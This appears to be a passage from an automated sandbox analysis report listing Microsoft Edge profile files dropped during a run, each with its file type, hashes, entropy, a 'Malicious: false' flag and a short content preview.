Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c9b303fe-ba42-47d5-a702-9f471c7ebdb2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.560767786133945
Encrypted:	false
SSDEEP:	768:nMrQAp7pLGL7bBWP+kfWC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVrQsj+Yc6IrwtLA:nMrQA/c7bBWP+kfWCu1jaGQsiYc6ZtLA
MD5:	8E3845EE34B3104503C165EBEC7B5C9C
SHA1:	9C563A3AE852541A13494CD20FB44FEE5208513E
SHA-256:	FE4A19F02E7BB84FEA8B116ACFE286F1D8BCF0D5F31C8A364ADB26FA901257EB
SHA-512:	84450FD510DB69A42FA3074FBD62F82F373C59017957AAFC78EFDAD8A6C63EA6531C3461C3BCA8A5A25900164F8F923E8035DE01D80494D9F08F29E0EAB11170
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13383420243819375","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13383420243819375","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\feab1e93-d959-47bc-b270-ecbbe275051e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10890814325735895
Encrypted:	false
SSDEEP:	12:0X3tv8HIrX3tvkULpEjVl/PnnnnnnnnnnnnnvoQrEo8VF4D:0ntrntfoPnnnnnnnnnnnnnvBjpD
MD5:	F8B5955D08AD6444173884D7A0BF7DF3
SHA1:	D2064C953A51DA256ED82B476D4AAC74664DC13D
SHA-256:	8EA637141711818F2553DB457987EFF205696E82C43FDDAA00915AB131C0A499
SHA-512:	54E9D49E1F59998813540A6858FEFD933E725CB9A969D59C091E599EE5A85BEF9F0E179396BB1D65BC14BBA2F76488603346C5F86BDFEF6F995EB517C267804E
Malicious:	false
Preview:	..-.............U........y&.aIo&.XE6.:......+r)..-.............U........y&.aIo&.XE6.:......+r)........Q...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	350232
Entropy (8bit):	0.9789014006370651
Encrypted:	false
SSDEEP:	384:P+Zw++4nwW4Ni76McqoAkuIG8hac8Z68+8L/y3yTMyAym8y7xyRk:ogEGn
MD5:	8C7B1B73B8873C5E87C32CB28D48610A
SHA1:	A7229F2A23F41FFB056DC8ECD547981EC39E8BFB
SHA-256:	73319F0A8E70F6BB9B7A88E81F89A1B1A50B596A13C023B267FD3DB06D5120AF
SHA-512:	F364802C7A201DA375D10ED71D7F678D6645438A6401F10CE328D1F86AE3DA07E972E95D6AEB844EC8F12F20B5E2F6AB631B1FE857EE67CF6679C0A23C837BD5
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	3.9854890017596336
Encrypted:	false
SSDEEP:	6:/XntM+dll3sedhO38WrOuuuuuuuuuuuk8vol9ill9f5sOgJJsedhO0:lllc8zWrOuuuuuuuuuuuxZll9f5sOH89
MD5:	4F7B24DD92320C0EF9B9B7D4AFD1FB81
SHA1:	A1C3793808B405206F273AD99A7CC9000E182610
SHA-256:	FF02D8426BF0D50ACE3D03B73572B5B0B042172D023E3868D1F6671D64DF393B
SHA-512:	563E430D77AB57E2AF835E5F93BB7A3B00A673589162E029E5454DD22E5F6E7A5693CC1321DD3C6A7A94C6859C75A478DADD7B7CF246DD6F8C0AFCDA1629C4CA
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................:..;...............#38_h.......6.Z..W.F.......[.......[..........V.e................>V..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.17473409675478
Encrypted:	false
SSDEEP:	6:iOXgMuS9yq2PCHhJ23oH+TcwtfrK+IFUtFgMuSr1Zmw7gMuS9RkwOCHhJ23oH+Tp:7z9yvBYeb23FUtph/P9R56Yeb3J
MD5:	80D7D6845C1169949FD2FBBEFDEF66D2
SHA1:	6274AC06E221695B01BF8E467FBF104FA9889F3C
SHA-256:	FAEC811891C8A3AC24985D5F8E5F1A604C6D78B6F5C6C724DC3D988B466B4041
SHA-512:	64AA04798A307B34E1279B1BD47313F333B76293B3CFA050386D9D83DE3419FB4BB3F31B5DBBAB0BE8F268FE2A04E109B6720744C8471C918A1EDA5A1AE9C058
Malicious:	false
Preview:	2025/02/07-11:44:04.544 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/07-11:44:04.544 770 Recovering log #3.2025/02/07-11:44:04.544 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.17473409675478
Encrypted:	false
SSDEEP:	6:iOXgMuS9yq2PCHhJ23oH+TcwtfrK+IFUtFgMuSr1Zmw7gMuS9RkwOCHhJ23oH+Tp:7z9yvBYeb23FUtph/P9R56Yeb3J
MD5:	80D7D6845C1169949FD2FBBEFDEF66D2
SHA1:	6274AC06E221695B01BF8E467FBF104FA9889F3C
SHA-256:	FAEC811891C8A3AC24985D5F8E5F1A604C6D78B6F5C6C724DC3D988B466B4041
SHA-512:	64AA04798A307B34E1279B1BD47313F333B76293B3CFA050386D9D83DE3419FB4BB3F31B5DBBAB0BE8F268FE2A04E109B6720744C8471C918A1EDA5A1AE9C058
Malicious:	false
Preview:	2025/02/07-11:44:04.544 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2025/02/07-11:44:04.544 770 Recovering log #3.2025/02/07-11:44:04.544 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.184505812426822
Encrypted:	false
SSDEEP:	6:iOXg2yq2PCHhJ23oH+TcwtfrzAdIFUtFgMbFz1Zmw7gMaN1RkwOCHhJ23oH+Tcwc:71yvBYeb9FUtH/a1R56Yeb2J
MD5:	8CE5260DBAF25DD191A84A67E08CF706
SHA1:	E8BCF8BFCAC23ED48F1A37A747F95B8EC81D2005
SHA-256:	1A2196869B54853693B8714887B5D375E72DB287162CD029A44D305CDF3D9E71
SHA-512:	7A635A9A0454011FAB568C26D0BFC88CD8A02252A98FBB1AE033EC27C99C53C54785554582A5F7F6D1404E336043CF1C94B29C54CF6B2101CAFDFA67E1D431AA
Malicious:	false
Preview:	2025/02/07-11:44:04.539 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/07-11:44:04.540 770 Recovering log #3.2025/02/07-11:44:04.541 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.184505812426822
Encrypted:	false
SSDEEP:	6:iOXg2yq2PCHhJ23oH+TcwtfrzAdIFUtFgMbFz1Zmw7gMaN1RkwOCHhJ23oH+Tcwc:71yvBYeb9FUtH/a1R56Yeb2J
MD5:	8CE5260DBAF25DD191A84A67E08CF706
SHA1:	E8BCF8BFCAC23ED48F1A37A747F95B8EC81D2005
SHA-256:	1A2196869B54853693B8714887B5D375E72DB287162CD029A44D305CDF3D9E71
SHA-512:	7A635A9A0454011FAB568C26D0BFC88CD8A02252A98FBB1AE033EC27C99C53C54785554582A5F7F6D1404E336043CF1C94B29C54CF6B2101CAFDFA67E1D431AA
Malicious:	false
Preview:	2025/02/07-11:44:04.539 770 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2025/02/07-11:44:04.540 770 Recovering log #3.2025/02/07-11:44:04.541 770 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090493903644067
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k4CLmZt7tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynMtGhOxqQoRTuiVIos
MD5:	D3FE3047D8F809C4AD0AE3A3F07541BB
SHA1:	119C574D547BDE340A411B7D1E98861B89A9ED32
SHA-256:	271115DBDE120B986A6C6A09EE2FADD59BB6FA9F30F4EC0F2D144AAB5E493739
SHA-512:	6F333C4A0AC16304A3389A0CBA31B4E9D194E6F1EEEEAB9672C89E8B650B4712F828BCAE08736076D9B5F71E68C29434F514D86DF454D2329321B6077965B7D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33087.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090493903644067
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k4CLmZt7tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynMtGhOxqQoRTuiVIos
MD5:	D3FE3047D8F809C4AD0AE3A3F07541BB
SHA1:	119C574D547BDE340A411B7D1E98861B89A9ED32
SHA-256:	271115DBDE120B986A6C6A09EE2FADD59BB6FA9F30F4EC0F2D144AAB5E493739
SHA-512:	6F333C4A0AC16304A3389A0CBA31B4E9D194E6F1EEEEAB9672C89E8B650B4712F828BCAE08736076D9B5F71E68C29434F514D86DF454D2329321B6077965B7D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33113.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090493903644067
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k4CLmZt7tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynMtGhOxqQoRTuiVIos
MD5:	D3FE3047D8F809C4AD0AE3A3F07541BB
SHA1:	119C574D547BDE340A411B7D1E98861B89A9ED32
SHA-256:	271115DBDE120B986A6C6A09EE2FADD59BB6FA9F30F4EC0F2D144AAB5E493739
SHA-512:	6F333C4A0AC16304A3389A0CBA31B4E9D194E6F1EEEEAB9672C89E8B650B4712F828BCAE08736076D9B5F71E68C29434F514D86DF454D2329321B6077965B7D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF33307.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090493903644067
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k4CLmZt7tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynMtGhOxqQoRTuiVIos
MD5:	D3FE3047D8F809C4AD0AE3A3F07541BB
SHA1:	119C574D547BDE340A411B7D1E98861B89A9ED32
SHA-256:	271115DBDE120B986A6C6A09EE2FADD59BB6FA9F30F4EC0F2D144AAB5E493739
SHA-512:	6F333C4A0AC16304A3389A0CBA31B4E9D194E6F1EEEEAB9672C89E8B650B4712F828BCAE08736076D9B5F71E68C29434F514D86DF454D2329321B6077965B7D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3596c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.090493903644067
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k4CLmZt7tR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7ynMtGhOxqQoRTuiVIos
MD5:	D3FE3047D8F809C4AD0AE3A3F07541BB
SHA1:	119C574D547BDE340A411B7D1E98861B89A9ED32
SHA-256:	271115DBDE120B986A6C6A09EE2FADD59BB6FA9F30F4EC0F2D144AAB5E493739
SHA-512:	6F333C4A0AC16304A3389A0CBA31B4E9D194E6F1EEEEAB9672C89E8B650B4712F828BCAE08736076D9B5F71E68C29434F514D86DF454D2329321B6077965B7D7
Malicious:	false
